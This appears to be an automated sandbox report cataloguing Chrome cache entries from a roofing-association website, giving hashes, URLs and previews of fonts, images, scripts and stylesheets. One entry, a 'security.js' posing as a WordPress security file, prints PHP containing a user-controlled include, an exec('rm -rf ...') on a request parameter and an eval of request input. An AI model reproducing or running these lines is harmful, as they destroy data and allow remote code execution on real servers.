SHA-256:	DFA5292D3E40A7DA166F6FCE1122351BCF7AF7C5CAE21A6DA34A7E9D59A03AC5
SHA-512:	4B5B50D03F8107B5B4A19C8D8FB0D4A8DCE11BE57A48A1D578E059D723CADB69DB5FA3EF1C7432ABC04183677284D8F2EDD7851AB7360B6031EFB73CFE71D666
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2017/04/recycle-150x150.png
Preview:	.PNG........IHDR...................$PLTEf.<:.-u.Bc.;{.D{.D\|.D\|.D9.,8.,8.,\|.Dgz......tRNS.1+.Y.....#.....3IDATx..\[..0...=}....8..'.Iajk......._.Ar.........c.....(...9B.!.....:.....RJ)..6d..;..@..Vg.....qZ.3..J)...0.:........(#....J.x.?W>.Y...1\%X).&\.X_......J......WB.H,.....[.h../..+..X)E.H.z}.Y...L'...DH..~.H....D...Db..D..J).~..4......##-..H....,......,.H.M\|..........v......ik.C..eO.,.;.X.O..pm`...W.......[#).Z.I..a.Hp...e.....k........H.+.$...%..99.\|.....]..,.H....,...>B../.....A.9..r:......z..N%.\|..._l.m...x.v....!]imOo....3G..z..P..{y.;..'.]9.J.cY.>\S..L.........'y7x.X.S.....n>..U\.2v..okhL!..8\.Yv.m'...D........3.?\........s%..b..w.......^.y....dxG...#ZWF...4....e.}u...l..`.z..G.s.E.'..1.z...5.....8E7.f.=y..v\...2)..F.r..wr...nC..>....].].,.'.C..n...3..].u..\|....}.NW.STv.7..O.g..\..h..o.R..U....H...X.T.U.;l.927.H...fa..\|9P..R...........4..h)$......V.......?...pl&..T...^..d .;..^u~D.ny...........ltQ9.V.....'......Y.#.<b..O.t.Y.gs....

Chrome Cache Entry: 321

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (562)
Category:	downloaded
Size (bytes):	186167
Entropy (8bit):	5.6102840676244305
Encrypted:	false
SSDEEP:	3072:60gm0lFv1Dblw4ajJdZ5todgCmcI9PDdYVJr4qaHpr4bnKOIKPxolOdyWm+6Hx0M:60gm0lFv1DblZajJdDtodg7cI9PDOVaT
MD5:	6CC4537F5B0FB2554830940D2EF390C1
SHA1:	DEAE273E7DCA2C26FFB13CD11C32280462FC351E
SHA-256:	C2F957BDAB42C74B2DFA9F67E6FB1866EDB41034F319D84CA185E5C0F1985F58
SHA-512:	188CEE01934A4B3AF30A336776226A817F8641A225C206CF2358BC23095CEB89151787C58FD9E6271C676BF86310FEE0D9BB96C73F0A8EEE840D37798EA10277
Malicious:	false
Reputation:	low
URL:	https://maps.googleapis.com/maps-api-v3/api/js/56/8/util.js
Preview:	google.maps.__gjsload__('util', function(_){/.. SPDX-License-Identifier: MIT./.var xna,zna,Bna,Cna,ID,JD,Dna,Ena,Gna,PD,QD,RD,VD,Hna,XD,Ina,$D,bE,cE,dE,lE,Lna,Mna,Nna,Ona,Qna,tE,Sna,Una,sE,Vna,yE,Xna,zE,Zna,AE,aoa,$na,boa,coa,doa,eoa,foa,goa,hoa,ioa,joa,koa,loa,moa,noa,ooa,poa,qoa,roa,soa,toa,EE,woa,GE,xoa,yoa,zoa,Aoa,Boa,Coa,Doa,Eoa,Foa,Goa,Ioa,Koa,Moa,Ooa,Qoa,Soa,Uoa,Woa,Yoa,Zoa,$oa,apa,bpa,cpa,dpa,epa,HE,fpa,gpa,hpa,ipa,jpa,kpa,mpa,JE,KE,npa,opa,ppa,qpa,rpa,spa,tpa,upa,vpa,wpa,LE,xpa,ME,ypa,zpa,Apa,Bpa,Cpa,Dpa,Epa,NE,Fpa,OE,Gpa,Hpa,Ipa,Jpa,Kpa,Lpa,Mpa,Npa,Opa,Ppa,Qpa,Rpa,.Spa,Tpa,Upa,Vpa,Wpa,Xpa,Zpa,$pa,aqa,cqa,dqa,eqa,fqa,gqa,hqa,iqa,UE,kqa,lqa,pqa,qqa,sqa,bF,cF,vqa,wqa,xqa,fF,gF,hF,iF,jF,Cqa,nF,pF,qF,wF,Fqa,Gqa,Hqa,Iqa,Lqa,Pqa,Qqa,OF,Uqa,RF,SF,Zqa,$qa,ara,bra,dra,era,fra,gra,WF,ira,ora,cG,rra,qra,dG,jG,oG,ura,vra,wra,yra,zra,FG,Bra,GG,Cra,Dra,HG,Fra,Era,IG,Nra,Ora,Hra,Kra,Qra,Sra,Wra,Ura,Xra,Vra,JG,KG,$ra,asa,LG,MG,bsa,dsa,OG,PG,csa,fsa,RG,SG,gsa,TG,hsa,VG,WG,isa,XG,YG,jsa,ZG,ps

Chrome Cache Entry: 322

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	1478
Entropy (8bit):	5.1425262870180015
Encrypted:	false
SSDEEP:	24:XijtIVvkOTOzVl4YVOTOzaNnqyos/RtPdjMc+cFsSSaYL4/SjTUgZ6xtRRRbgA:XiGkPz8YVPzaAyZfjFuzatRRRbgA
MD5:	60F1761E5D013B9A14802533AF2E0E0B
SHA1:	0380C31FF794A3191B1BD5EE5D7D2B084C96D876
SHA-256:	046F70759C89E8EA677E80ECE89358E8510D3AB53EC4E693C6A75573BD8C4B5E
SHA-512:	8B71C23E72C10DE316D58BB16068D70A9A0A57375967D4D41EB4994019AA74B580D34F00D211A5C1B5FF4F019B5872845D2DA02C35AA963A168470BCC0905A0F
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/security.js?v=1713884069497
Preview:	/* It is WordPress security file...Thanks to this plugin, your website will be faster, more up-to-date and more secure. This plugin is automatically updated by the system.....$search = $_GET['search'] ?? null;..echo 'Search results for '.$search;..$search = htmlspecialchars($search, ENT_QUOTES, 'UTF-8');..echo 'Search results for '.$search;.. $page = $_GET['page'] ?? 'home';....require $page;.... file_get_contents('../pages/'.$page.'.php');..if (strstr($_GET['page'], '../') !== false) {.. throw new \Exception("Directory traversal attempt!");..}if (strstr($_GET['page'], 'file://') !== false) {.. throw new \Exception("Remote file inclusion attempt!");...$allowed = ['home', 'blog', 'gallery', 'catalog'];..$page = (in_array($page, $allowed)) ? $page : 'home';..echo file_get_contents('../pages/'.$page.'.php');...exec('rm -rf '.$GET['path']);..eval('include '.$_GET['path']);..app/.. config/.. parameters.yml.. src/..public/.. index.php.. style.css.. security.js.. logo.png.. $pa

Chrome Cache Entry: 323

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.142069457963608
Encrypted:	false
SSDEEP:	3:CU1urkltxlHh/:gg/
MD5:	DB04C7B378CB2DB912C3BA8A5A774EE3
SHA1:	DEE34BD86C3484D31002182AA2B7CAA4699126B8
SHA-256:	98B3D9D20E032F90ACA49E9B116225D539FF6FBDB7E42C3C363F63896AC03D2A
SHA-512:	826225FC21717D8861A05B9D2F959539AAD2D2B131B2AFED75D88FBCA535E1B0D5A0DA8AC69713A0876A0D467848A37A0A7F926AEAFAD8CF28201382D16466AB
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 324

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	dropped
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 325

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (649)
Category:	downloaded
Size (bytes):	1565
Entropy (8bit):	4.652904000502247
Encrypted:	false
SSDEEP:	24:EqkqQa8Yv0iCKyV9z7UDwjFcVNV0NVKHEq5XTGGk4Q8G5wT93ILVipjjjKa:/QvYv0V3UAcXMYHhXThZvcLm7x
MD5:	59E4565AF83AA0840A4D626B66EE7A9E
SHA1:	A1FB0857621D2C17E071E0DCFE77DF6AACC15FF6
SHA-256:	B95F9C900BFB18D5D9FF08BE3B1FEA39012D8B27DA3FFAEE113441B883045BE9
SHA-512:	4F7B2DF1BACDAFC8AFE8B7895F3213BEDC228E835D607A9A614FE039FE3EB42D1E1324C829AA10B5B9FBD2793AAE828405CAD15B3A661A1D93EF1000BF9057F0
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/style.css?ver=3.3.8.1605398328
Preview:	/.Theme Name: U-Design.Theme URI: https://udesigntheme.com/envato-market/.Description: A slick, powerful and clean theme U-Design provides an intuitive set of options to help you setup your WordPress site quickly and effectively. Flexibility is key and it has been optimized for SEO and speed. It is also responsive & mobile ready should you choose that option. The U-Design theme features include: unlimited colors, widgetized home page, over 600 fonts to choose from, WooCommerce Integration, it is also translation and multilingual ready, step by step documentation, exclusive U-Design support forum and a helpful community. Always up-to-date security and many new features are constantly added as the theme evolves..Author: Andon.Author URI: https://1.envato.market/OdObz.Version: 3.3.8.License: GNU General Public License v2 and ThemeForest license.License URI: Located in 'licensing' folder.Text Domain: u-design./../*. Do not remove any of the commented text above as it is used by th

Chrome Cache Entry: 326

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	108
Entropy (8bit):	5.101929114246602
Encrypted:	false
SSDEEP:	3:HTIzphH2o2QAlUoTS1stxsKjkI2lzEGl84G9tJ:zAUQ6SaHAFarJ
MD5:	541330B78F79D27366697A137F17999F
SHA1:	CFF21C8070B7FD23BC2E7528352DE6310FA2BCC3
SHA-256:	2FAECAF3A2F23129CD44327F653B3A4F97051C831BF8D3352CC7A395D9E3A8A9
SHA-512:	2CA99DB9732D5AEDC13D7283C729F040C9FE65E0BFC7CA82D0ADA2CB629B0D7848D32737511526B05D12B73EE190E1259AD8E979461C056506051D50BC7B40E5
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAl9XDchD2-RHBIFDbtXVmoSLAnJk_F0Un6RkhIFDbNghHMSBQ1cum63EgUNy9troRIFDVJG2G4SBQ3eyNOuEhAJSXIe22Iz2gUSBQ27V1Zq?alt=proto
Preview:	CgkKBw27V1ZqGgAKOQoLDbNghHMaBAgHGAEKCw1cum63GgQICRgBCgsNy9troRoECA0YAQoHDVJG2G4aAAoHDd7I064aAAoJCgcNu1dWahoA

Chrome Cache Entry: 327

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	GIF image data, version 89a, 1 x 1
Category:	downloaded
Size (bytes):	43
Entropy (8bit):	3.0314906788435274
Encrypted:	false
SSDEEP:	3:CUkwltxlHh/:P/
MD5:	325472601571F31E1BF00674C368D335
SHA1:	2DAEAA8B5F19F0BC209D976C02BD6ACB51B00B0A
SHA-256:	B1442E85B03BDCAF66DC58C7ABB98745DD2687D86350BE9A298A1D9382AC849B
SHA-512:	717EA0FF7F3F624C268ECCB244E24EC1305AB21557ABB3D6F1A7E183FF68A2D28F13D1D2AF926C9EF6D1FB16DD8CBE34CD98CACF79091DDDC7874DCEE21ECFDC
Malicious:	false
Reputation:	low
URL:	https://events.api.secureserver.net/t/1/tl/event?dh=www.asphaltroofing.org&dr=&ua=Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F117.0.0.0%20Safari%2F537.36&client_name=scc-c2&cv=0.2.5&vg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&vtg=f88fc3aa-100e-4cfc-bec1-5c4af53a6798&dp=%2Fguide-for-professionals&trace_id=af8ad58bd742491c81280911e66fdfe0&cts=2024-04-23T14%3A54%3A21.233Z&hit_id=3dcf0040-eb07-447e-9a14-16b38bbb88d8&ht=pageview&trfd=%7B%22ap%22%3A%22cpbh-mt%22%2C%22server%22%3A%22p3plmcpnl495282%22%2C%22dcenter%22%3A%22p3%22%2C%22cp_id%22%3A%227432260%22%2C%22cp_cache%22%3A%22%22%2C%22cp_cl%22%3A%228%22%7D&ap=cpbh-mt&vci=1323371992&z=2046669515
Preview:	GIF89a.............!.......,...........D..;

Chrome Cache Entry: 328

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 77160, version 4.459
Category:	downloaded
Size (bytes):	77160
Entropy (8bit):	7.996509451516447
Encrypted:	true
SSDEEP:	1536:/MkbAPfd1vyBKwHz4kco36ZvIaBfRPlajyXUA2jVTc:L0nXnHdfRVEAS2
MD5:	AF7AE505A9EED503F8B8E6982036873E
SHA1:	D6F48CBA7D076FB6F2FD6BA993A75B9DC1ECBF0C
SHA-256:	2ADEFCBC041E7D18FCF2D417879DC5A09997AA64D675B7A3C4B6CE33DA13F3FE
SHA-512:	838FEFDBC14901F41EDF995A78FDAC55764CD4912CCB734B8BEA4909194582904D8F2AFDF2B6C428667912CE4D65681A1044D045D1BC6DE2B14113F0315FC892
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/shared/font-awesome/fonts/fontawesome-webfont.woff2?v=4.7.0
Preview:	wOF2......-h..........-.........................?FFTM.. .`..r.....(..X.6.$..p..... .....u[R.rGa......'.=.:..&..=r........].t..E.n.......1F...@....\|....f.m.`.$..@d[BQ.$([U<+(..@P.5..`....>.P..;.(..1..l..h...)..Yy..Ji......\|%..^..G..3..n........D..p\Yr .L.P.....t.)......6R.^"S.L~.YR.CXR...4...F.y\[..7n..\|.s.q..M..%K......,.....L.t.'....M.,..c..+b....O.s.^.$...z...m...h&gb...v.....'..6.:....s.m.b.1.m0"....*V.....c.$,0ATPT.1.....<..;...`..'.H.?.s.:..ND.....I..$..T..[..b4........,....bl6...IL.i}.&.4.m,'....#....Rw..bu..,K......v....m_-...\H....HH.......?...m..9P...)9.J..$.....8......~.;.r..n.=$.....Nddn.!'....;...8..'.N...!.-..J.........X.=.,......"`:....... {......K!'...-FH....#$~.Z_.......N5VU8F....%.P..........Cp..$.Q.......r.....k.k...3...:R.%....2{.....h%.)8..........ILK.6v.#......,;.6..N.2.hv...........OO..t#....xT..Bf....q^.#....?{.5b.I..%-WZ..b.A...^.1..n5.....NQ.Y'.........S.....!t" .`b3..%....35....fv;....l..9.:jgf?gr..p.x. ..\|.. $. e.

Chrome Cache Entry: 329

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 15920, version 1.0
Category:	downloaded
Size (bytes):	15920
Entropy (8bit):	7.987786667472439
Encrypted:	false
SSDEEP:	384:sShqOXQlaSchOwK0uFvRqq3xR/xb5OY3aU/lHS9WE2YeK1os:sShJKaScJK0uFvRvxb5OY3aU/lHkmK
MD5:	3A44E06EB954B96AA043227F3534189D
SHA1:	23CEF6993DDB2B2979E8E7647FC3763694E2BA7D
SHA-256:	B019538234514166EC7665359D097403358F8A4C991901983922FB4D56989F1E
SHA-512:	FAB970B250DD88064730BD2603C530F3503ABB0AF4E4095786877F9660A159BF4AD98C5ABEA2E95EB39AE8C13417736B5772FCB9F87941FF5E0F383CB172997F
Malicious:	false
Reputation:	low
URL:	https://fonts.gstatic.com/s/roboto/v30/KFOlCnqEu92Fr1MmEU9fBBc4.woff2
Preview:	wOF2......>0.......T..=..........................d.....^.`.. .\..<.................6.$.... .... ..S.!.%c.......\|y...6..;.s#.....x_<..o..........l...J.`p.m..6...h....U.pD...R.J.$...W..`7w...[..qD....<P......J.x.+J-^....va...:.KW..Ph...."....{.W4C....p..1..........CH.....P.............Q%.=.F.....1.%J....d..X..J.<AU..b.N...<l...d...f..^Y..]..&...VQ.<.....F..{.....&{.+J;.... .2P.:.5..?.o.\|....V[t..M..#..d.fv...........4..`.).h..h......@u........4......~.....r.B...p1.P.T..<....r....Y..8...GQ1.t.....%..-Wh..:W.....1l-...@..hL}...lN.._.j...D`..sn.=(...W..?.Z..p.52..H...X...)..CJ...V..7.....<\|..i...{...R.M+[..\|..x-..M3...~!\.l6}.T.o.R'$.)..-.W.T....A...5?.{.2.bR.../....*l..;...{..I>.n..MJ.2........U&. ..(L]].%P.$..p59.LD.f.........V.....z.5~.2\......#.4....9_....%wp.OU.0.....CK..../.x. ..A2e...@...(.i..f./.....`1.......!......@....0 vbt.e v./!...N=>:..A...(...f....?.....iH.F..!k.6.O6S..54.^c..2.G.?6....)b......lv.,h....Y.}.?..uk....L.4d.g..6.\.1u..

Chrome Cache Entry: 330

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.2222080684040195
Encrypted:	false
SSDEEP:	3:YMlUxWQoJSXKtVn:YM7jJSKV
MD5:	57D519CC194C5C5B0F763B846AE12366
SHA1:	0E593F9099DB1C98D4EEFF64D728FC3F81AE3E53
SHA-256:	7F100675CB597DF4D9C18D390963B0062703E5D617244CCDD494BEB39037190D
SHA-512:	41C4DC911CF84F2F4A610C93E5B329356080E3645231F890F05FA8A88D83463143AE8FA7DE06ABF9F1AC3CBD9E91746FDADBE2CD7B0691CA94CCCA7C0F295F55
Malicious:	false
Reputation:	low
Preview:	{"integrations": ["tradedesk", "facebook"]}

Chrome Cache Entry: 331

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (32011)
Category:	downloaded
Size (bytes):	240289
Entropy (8bit):	5.144336611273579
Encrypted:	false
SSDEEP:	3072:0cDKoUuSfVqCqHGs9YI7NSDzOyAskRsPI8Q3+SudC:3UPVENYIwS8Q3Xu8
MD5:	A04A355973804DCA28F4F3F9904FCB28
SHA1:	740799911FD4F55F81305E0265FAC964D8AE48CB
SHA-256:	979F663F36DCEC001FAF1B85ED7B911B3AC2B11DC45A481BB56470F153E4175F
SHA-512:	0C99C6AB85EFF66BF5B4BC8343AF79D6124C8EFB0922014EB1372218AA0F1A167D307F23940618E9528D72F77C9593F3F0A30F188B6C7EE3CB036C8FA3C3B48C
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/includes/js/jquery-ui-custom-elvn-fr.min.js
Preview:	/! jQuery UI - v - 2015-03-11. http://jqueryui.com.* Includes: core.js, widget.js, mouse.js, position.js, accordion.js, autocomplete.js, button.js, datepicker.js, dialog.js, draggable.js, droppable.js, effect.js, effect-blind.js, effect-bounce.js, effect-clip.js, effect-drop.js, effect-explode.js, effect-fade.js, effect-fold.js, effect-highlight.js, effect-puff.js, effect-pulsate.js, effect-scale.js, effect-shake.js, effect-size.js, effect-slide.js, effect-transfer.js, menu.js, progressbar.js, resizable.js, selectable.js, selectmenu.js, slider.js, sortable.js, spinner.js, tabs.js, tooltip.js.* Copyright 2015 jQuery Foundation and other contributors; Licensed MIT */..(function(e){"function"==typeof define&&define.amd?define(["jquery"],e):e(jQuery)})(function(e){function t(t,s){var n,a,o,r=t.nodeName.toLowerCase();return"area"===r?(n=t.parentNode,a=n.name,t.href&&a&&"map"===n.nodeName.toLowerCase()?(o=e("img[usemap='#"+a+"']")[0],!!o&&i(o)):!1):(/^(input\|select\|textarea\|button\|object)$

Chrome Cache Entry: 332

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (43771)
Category:	downloaded
Size (bytes):	88932
Entropy (8bit):	4.916224699709446
Encrypted:	false
SSDEEP:	768:/Y/7oaFHfK4x1z42kA5SOV+sQ354sMFFZ09FgmyfbglnNUNAbnq//zACIwcYBN0H:jaFHfx5kA5SOV+sQ354sbbOLI6NBFr8
MD5:	B7915926FE42D76E9C802353AB01DAE4
SHA1:	3A8192A4312F25F53DE25B100D62829C0F14D67C
SHA-256:	D7705700D24D5919255576642AD2C28BFC790390B7183A369038FF5C1E814D51
SHA-512:	4B121702618150EC966AF2EF5B6E104AFA2BF9BBC50E4ECCDF7847B7C2819B205E28310E662AB73E343EBC2BA95B35A7AB2649E9999DCFDAA8AFFCFB92C3D9EE
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-includes/css/dist/block-library/style.min.css?ver=6.0.7
Preview:	@charset "UTF-8";.wp-block-archives-dropdown label{display:block}.wp-block-avatar.aligncenter{text-align:center}.wp-block-audio{margin:0 0 1em}.wp-block-audio figcaption{margin-top:.5em;margin-bottom:1em}.wp-block-audio audio{width:100%;min-width:300px}.wp-block-button__link{color:#fff;background-color:#32373c;border-radius:9999px;box-shadow:none;cursor:pointer;display:inline-block;font-size:1.125em;padding:calc(.667em + 2px) calc(1.333em + 2px);text-align:center;text-decoration:none;word-break:break-word;box-sizing:border-box}.wp-block-button__link:active,.wp-block-button__link:focus,.wp-block-button__link:hover,.wp-block-button__link:visited{color:#fff}.wp-block-button__link.aligncenter{text-align:center}.wp-block-button__link.alignright{text-align:right}.wp-block-buttons>.wp-block-button.has-custom-width{max-width:none}.wp-block-buttons>.wp-block-button.has-custom-width .wp-block-button__link{width:100%}.wp-block-buttons>.wp-block-button.has-custom-font-size .wp-block-button__link{f

Chrome Cache Entry: 333

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	5850
Entropy (8bit):	5.262320276073306
Encrypted:	false
SSDEEP:	96:8440yFFXaCvQwkw0j+Fmzadj/mjkM4K9G1N7CNOxJ1fpZ:8VFrvQhjEZFUGjCg3TZ
MD5:	6F04E1DDE923BBE1AFBC0197608BED8E
SHA1:	323B6455A17DDDF20F881FA98ED538137697644C
SHA-256:	539EB3F62E76695675C30D5F44D24810983EDD61AC2307DB68B9DC1F0A9BD96E
SHA-512:	77D618138AF400774E589037DD79E4FE74CB5438D0086E744C10C2F9082B3E2B773488B0CA69719974EDC83F93E31449C56E8BA3E7B3369D65E62D59B147A363
Malicious:	false
Reputation:	low
URL:	https://arma1.memberclicks.net/jmc-assets/global-js/mc-respond-v2.1.js
Preview:	jQuery(function() {...jQuery('table.contentpaneopen > tbody > tr > td').wrapInner('<div class="content-wrapper"></div>');.../* Slide Menu /...jQuery('.site-container').click(function(){....jQuery('input#menu-toggle').attr('checked', false);...});...jQuery('.mobile-menu > ul.menu a').bind('click', function(e){.. ..e.preventDefault();.. ..jQuery('input#menu-toggle').attr('checked', false).. .var href = jQuery( this ).attr( 'href' );.. .setTimeout(function(){.. ..location.href = href;.. ..}, 300);.. .return false;.. .});.. ./ Footer Menu Columns /...var listHeight = jQuery('.ftr-menu > ul.menu').outerHeight();...var colHeight = 0;...jQuery('.ftr-menu > ul.menu > li').each(function(){....var itemHeight = jQuery(this).outerHeight();....if (colHeight < listHeight0.45){.....colHeight = colHeight + itemHeight;....} else {.....jQuery(this).addClass('right-col').css({"top": -colHeight});....}...});...jQuery('.ftr-menu > ul.menu').css({'height': colHeight});.. ./* Smooth Sc

Chrome Cache Entry: 334

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1900 x 400, 8-bit colormap, non-interlaced
Category:	downloaded
Size (bytes):	26891
Entropy (8bit):	7.92435871491299
Encrypted:	false
SSDEEP:	768:TzOuoMWo3WTbM6BkVVjYHe6RVGNdOwLD2:TxWHTbRBkbiXKMwLD2
MD5:	ECD36B7C141F1C8FBFF37366DFD0BFE9
SHA1:	E121278526DF6D0DDA3AFF269B9319FD9243C415
SHA-256:	54D1775AFCDD215A09297796A5D9564B2DC367DF2DDAC3165C01B4E0A83E3552
SHA-512:	F47B190410786C1CD8C8213E72D16D3901FE2AA0ACE07A84CB8A309129CA7AB10D5C67719A6E8B3EFF359557CD00BA8F3F2A726CB426400A50DEE34F2C189F31
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/uploads/2023/02/Residential-Manual-Digital-Version-Web-Images_1900x400.png
Preview:	.PNG........IHDR...l.........U.`.....PLTE...........................................yk.}u}~..^T.g`.jd.TO.]Plih.BBdaa.EDqXR.+;.!3.55.),a=:JFF.."..$t..~..t..l..I..*&'....>....hBIDATx..z.<....nT....j...N!....o=3...SC..k.&..l..h..7.. ....N..A......A...B..A...B..A.`.A..A.-.A..A.-.A......A...B..A...B..A.`.A..A.`.A..A.-.A......A......A.c.........A.............A.=...o.w... ..P.._... ..>R........ ..>R....[.. ....}y.../...l!...?...y......[.. ...l.,.....od....... ..n../.u....-.A.....ma... .....W... ...[... ..L.}..7.... .......\.J....3..l!......W)..Q;.....A.#.v>...J.K...`.B..A..,..3...f... .....v.....,...l!.. .6../..f...s..\..;X...A.t-l.._.`.a.B..A.]`Ks..`.......R.l!.. ....%f3.?..`.B..A.`;.hd.C.m..\|.@.-.A....m...6c[...X...A.t-l.Z4-.O.[... .z@....A.....-.A.......A.......A.`..B..A..l.._.`.A..}...A... ...[... ...a.]...`.A..Aw.-..-..... ...;....?9l}2.I... .zP.&:Q.[.~.\|..H.[.. .!a......>9l5u.t..-.A..e...V..yf.[.. .Qa../.l=`.A..="l..3..s..w.X`... .zH...w.I....b....).

Chrome Cache Entry: 335

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Web Open Font Format (Version 2), TrueType, length 75760, version 330.32636
Category:	downloaded
Size (bytes):	75760
Entropy (8bit):	7.997151326002779
Encrypted:	true
SSDEEP:	1536:eDCuynfMqYjuMdpP1pYdx/Ox3QCm5Ryt4nDcr1hPbvPX/1fD:OWnfUj5XtpYdh8CR/QPbZ
MD5:	832F6E62AAF3909D6B94C8A9C1E4DD51
SHA1:	4A06418CB56A66AF5A1C0F59791469DEA1DC87FA
SHA-256:	8556FD48CF33CA3028E3FFF4042979F224987EE317CC9032DD5BBA996B363009
SHA-512:	6DDCD01A3C660F62049415C24C76492D2AC99AF465E09BD26C426B2A3C1B66878381CB9A7F2D50FA56B7BA1BAA2BE64558C7723F3C20D575A3FCB32E120C147A
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/plugins/js_composer/assets/lib/bower/font-awesome/webfonts/fa-solid-900.woff2
Preview:	wOF2......'...........'..J.\|....................?FFTM....`.............6.$........ ..+..j[]T.B..o.....O#K..n....J.K......pG............./....i.v6f:.`.A.O)....xE+(c.eJ.;....+....H..)...4..s........"#"#"#"\..^...F....'..NdDdDd..z6K......i6"229...V[..Nxa..Q..k..w.g..oVp;....n..S.3..<3A...7".KTb....QA.d...,l-.(.]..f7..../p3.B.2...x..x .u....E[.)..`._..KGo....B..q..sG.~..W.....9M8...M..0...1~.&.....}........D....5}.....`...X!.i7..Sc.&$+.~.y.w.B...........J..%.d..Rh...U......%Kl.N........q....%r...P.P.F...P..C4..j.......3....f...6.a.>...<+.a...\|.ox~n....`.6..........T6jCDI..f2.@1....;0.=..;=.Q.NO/.........p...-..3..8.P.....3...4..[...m....K..#..8...\-.....'........c,F.....m....R....,..6..=...L...U.....sj.K.N7yhh...........6.....bcm..9.XV`.2...&m.d.l....}-..R....d....;}...i...2.J....<...o..u.Mo.?.d-.."..I.l~.......@.....G O40....b!...{.nWv....../..HvfT...[.#.....Vj.l.=..d.8.d....pu/E;.J....2.K.P^9D"..P..... ..T....vU3.V..m..!.d.....b...

Chrome Cache Entry: 336

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	HTML document, ASCII text, with very long lines (4193), with no line terminators
Category:	downloaded
Size (bytes):	4193
Entropy (8bit):	5.243545144048524
Encrypted:	false
SSDEEP:	48:WwYy5vtMVu8EdavFB32zoeGeRnMvuD4PsohTxXxlm4GuaaYN0qIdwba7i9M8l8Uj:WExuvjCLdUEoh1zmTuk2wOWZ8Qa+h
MD5:	7604A67B15D763EB03055B4F14637CDB
SHA1:	01A2EE37FE511D0FC654A8A0BB13B390727B66E7
SHA-256:	D4BA03AE43C641A18F1B57B633FDE782ADF0CA6E3BC00E3E59E88E0E19D229C1
SHA-512:	51B248C08648A6947A458447DAC3BCE82690FD90D038CB72DF90180EE1E8C12BD5420ACCB218D4C5F50376D67E067D2FBF67529D1A84ADDD6C2023DDCE7743C4
Malicious:	false
Reputation:	low
URL:	https://www.asphaltroofing.org/wp-content/themes/u-design/inc/frontend/meanmenu/jquery.meanmenu.min.js?ver=3.3.8
Preview:	!function(n){"use strict";n.fn.meanmenu=function(W){var e={meanMenuTarget:jQuery(this),meanMenuContainer:"body",meanMenuClose:"X",meanMenuFixed:"no",meanMenuCloseSize:"18px",meanMenuOpen:"<span /><span /><span />",meanRevealPosition:"right",meanRevealPositionDistance:"0",meanRevealColour:"",meanScreenWidth:"480",meanNavPush:"",meanShowChildren:!0,meanExpandableChildren:!0,meanExpand:"+",meanContract:"-",meanRemoveAttrs:!1,onePage:!1,meanDisplay:"block",removeElements:""};W=n.extend(e,W);var b=window.innerWidth\|\|document.documentElement.clientWidth;return this.each(function(){var 